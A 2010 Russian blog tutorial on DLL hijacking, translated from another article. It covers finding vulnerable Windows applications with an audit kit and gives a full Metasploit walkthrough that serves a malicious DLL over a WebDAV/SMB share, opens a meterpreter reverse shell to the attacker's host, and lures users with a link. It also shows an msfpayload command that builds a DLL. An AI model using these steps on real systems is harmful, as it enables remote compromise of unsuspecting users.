среда, 22 сентября 2010 г.

DLL Hijacking

Сегодня мы поговорим об относительно свежей техники нападения "DLL Hijacking" -- подмене dll.Будут освещены как техника поиска данной уязвимости, так и техника её эксплуатации. Весь представленный материал является с вольным переводом этой статьи. Если интересуют некоторые тонкости ручного вмешательства, рекомендую ознакомится с оригиналом, т.к. некоторые случаи я не понял и переводить не стал.

Эта уязвимость может быть проэксплуатирована, когда уязвимое приложение открывает файл из директории контролируемой злоумышленником. Такой директорией может быть USB диск, распакованный архив, или сетевая шара. Всё что требуется от пользователя - зайти в контролируемую директорию и открыть файл уязвимым приложением. Файл открываемый пользователем может быть абсолютно безвреден, но процесс открывающий файл, если он уязвим, загружает DLL из рабочей директории ( директории с файлом).

При нападении эту уязвимость можно использовать, например, послав пользователю ссылку на сетевую шару, которая содержит безвредный файл и опасную dll. iTunes, будучи некоторое время уязвимым, проассоциирован в windows с определённым списком
типов файлов, и при каждом запуске файлов одного из этих типов iTunes загружал DLL из директории с этими файлами. В случае одаривания пользователя ссылкой на шару типа \\server\movies\ , и открытия пользователем медиафайлов по этой ссылке, iTunes будет искать по этой ссылке одну или более DLL и в случае их наличия загрузит их в свою память. Содержимое этих dll ограничивается только воображением и навыками нападающего.

Ранее в этом году Taeho Kwon and Zhendong Su опубликовали документ под названием "Автоматическое определение загрузки динамических компонентов" В этом документе описаны разные техники угона DLL, кроме этого представлен список уязвимых приложений. Для обнаружения этой уязвимости был разработан небольшой инструментарий DLLHijackAuditKit v2.Для поиска уязвимости с его помощью нужно сделать следующее:

1. Скачать архив и распаковать его.

2. Зайти в распакованную директорию и запустить 01_StartAudit.bat из под учётной записи с правами администратора.

3. После завершения работы скрипта (15-30 минут), переключитесь на Process Monitor , запустите File->Save.
Сохраните лог в формате CSV, в файл с именем "Logfile.CSV".

4. Запустите 02_Analyze.bat из под учётной записи с правами администратора. Этот скрипт проанализирует лог-файл,
построит тесткейсы для каждой потенциальной уязвимости, запустит их и автоматически создаст PoC в директории Exploits,
если уязвимости действительно есть.

5*. Связаться с поставщиком уязвимого ПО и сообщить ему об уязвимости, приложить POC к письму

* - не обязательно.


Теперь, когда у нас есть список подтверждённых уязвимостей мы можем приступить к созданию полноценного эксплойта. Самый простой и быстрый способ - использовать Metasploit Framework ( не старше revision 10065).

Запустите Metasploit Console и проделайьте следующее:

$ msfconsole
msf > use exploit/windows/browser/webdav_dll_hijacker
msf exploit(webdav_dll_hijacker) > set EXTENSIONS "ext1 ext2 ext3 ext4"
msf exploit(webdav_dll_hijacker) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(webdav_dll_hijacker) > set LPORT 9999
msf exploit(webdav_dll_hijacker) > set LHOST (your IP address)
msf exploit(webdav_dll_hijacker) > exploit


ext* - расширения ассоциированные с уязвимым приложением.В данном случае мы снабжаем наш эксплойт шеллкодом для реверссоннекта.Если всё прошло ок, то мы увидим сообщение:


[*] Started reverse handler on 192.168.0.226:4444
[*]
[*] Exploit links are now available at \\192.168.0.226\documents\
[*]
[*] Using URL: http://0.0.0.0:80/
[*] Local IP: http://192.168.0.226:80/
[*] Server started.


Это значит, что на нашей машине сейчас открылась SMB шара, на которой выложен файл для уязвимого приложения и DLL с нашим шеллкодом.Теперь посылаем ссылку на эту шару пользователю... И как только пользователь откроет файл в уязвимом приложении и сработает эксплойт, мы увидим


[*] 192.168.0.184:1153 PROPFIND /DOCUMENTS/
[*] 192.168.0.184:1153 PROPFIND => 207 Directory (/DOCUMENTS/)
[*] 192.168.0.184:1153 PROPFIND => 207 Top-Level Directory
[*] 192.168.0.184:1151 PROPFIND /DOCUMENTS
[*] 192.168.0.184:1151 PROPFIND => 301 (/DOCUMENTS)
[*] 192.168.0.184:1151 PROPFIND /DOCUMENTS/
[*] 192.168.0.184:1151 PROPFIND => 207 Directory (/DOCUMENTS/)
[*] 192.168.0.184:1151 PROPFIND => 207 Top-Level Directory
[*] Meterpreter session 1 opened (192.168.0.226:4444 -> 192.168.0.184:1154)...

Подключаемся к открытой сессии

msf exploit(webdav_dll_hijacker) > sessions -i 1
[*] Starting interaction with 1...


И вот мы получаем доступ к удалённой системе с правами пользователя открывшего файл:

meterpreter > getuid
Server username: WINXP\User


Дополнительно к стандартному процессу загрузки DLL cледует упомянуть о некоторых интересных случаях, требующих ручного вмешательства:

1. Если приложение пытается загрузить DLL, которая обнаруживается с помощью глобальной переменной PATH, а не в системных директориях Windows, и PATH содержит не заданные переменные окружения, например %unknownvariable%\bin когда %unknownvariable% не задан, то в этом случае путь будет интерпретироваться системой, как указывающий на поддиректорию \bin, находящуюся в нашей атакующей шаре.

2. Если приложение пытается загрузить DLL, имя которой содержит NULL (0x00), то оно найдёт файл с именем ".DLL".


3. Некоторые приложения не просто загружают DLL, но и запускают исполняемый файлы по этой же схеме. DLLHijackAuditKit в этом случае создаёт кейс , выполняющий calc.exe

4. Если приложение запускает файл конфигурации (INI) из рабочей директории, это так же может быть эксплуатируемо.

5. Некоторые приложения требуют того, чтоб DLL была подписана. Для такого случая вам придётся раскошелится на 200 $ для подписывания DLL.

И последнее замечание , mfspayload в составе Metasploit Framework теперь может генерировать шеллкоды в формате DLL. Небольшой пример ниже:

msfpayload windows/exec CMD=calc.exe D > test.dll

Комментариев нет:

Отправить комментарий